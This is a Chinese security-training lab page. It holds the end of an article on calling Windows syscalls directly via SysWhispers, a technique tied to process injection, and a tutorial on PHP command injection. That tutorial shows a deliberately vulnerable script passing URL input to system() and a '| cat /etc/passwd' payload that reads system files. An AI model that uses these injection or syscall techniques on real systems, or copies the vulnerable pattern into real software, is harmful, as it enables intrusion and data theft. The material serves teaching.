NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10 这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。 文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
实战篇——PHP命令注入攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。 命令注入攻击是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 PHP中可以使用下列四个函数来执行外部的应用程序或函数:system、exec、passthru、shell_exec,四个函数的原型如下: string system(string command, int &return_var) command 要执行的命令; return_var 存放执行命令的执行后的状态值。 string exec (string command, array &output, int &return_var) command 要执行的命令,output 获得执行命令输出的每一行字符串,return_var 存放执行命令后的状态值。 void passthru (string command, int &return_var) command 要执行的命令,return_var 存放执行命令后的状态值。 string shell_exec (string command) command 要执行的命令,如下例所示,表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,执行命令变成了system("ls -al | cat /etc/passwd"),输出/etc/passwd 文件的具体内容。 //ex1.php <?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?> 实验内容和步骤 本实验分为两个实列任务: 实例一:你得知道如何在命令行下一箭双雕; 实例二:读懂了header,就ok了; 实例一、使远程服务器执行“whoami”的命令 在蚁景网安实验室(http://www.yijinglab.com/)中搜索《PHP命令注入》,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例1” 关键代码: 根据前面预备知识的实例分析,构造输入参数让远程服务器执行“whoami”命令。 实例二、使远程服务器执行“ipconfig”的命令 在蚁景网安实验室中收索PHP命令注入,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例3” 关键代码: preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。header()函数的作用是:发送一个原始 HTTP 标头[Http Header]到客户端。标头 (header) 是服务器以 HTTP 协义传 HTML 资料到浏览器前所送出的字串,在标头与 HTML 文件之间尚需空一行分隔。 本次实验今天就介绍到这里了,实验内容虽然不多,但是要理解清楚还是要多花时间,表面上看只有2个实验,但是操作起来还是有很多步骤呢! 命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本实验也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠自己多多挖掘。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页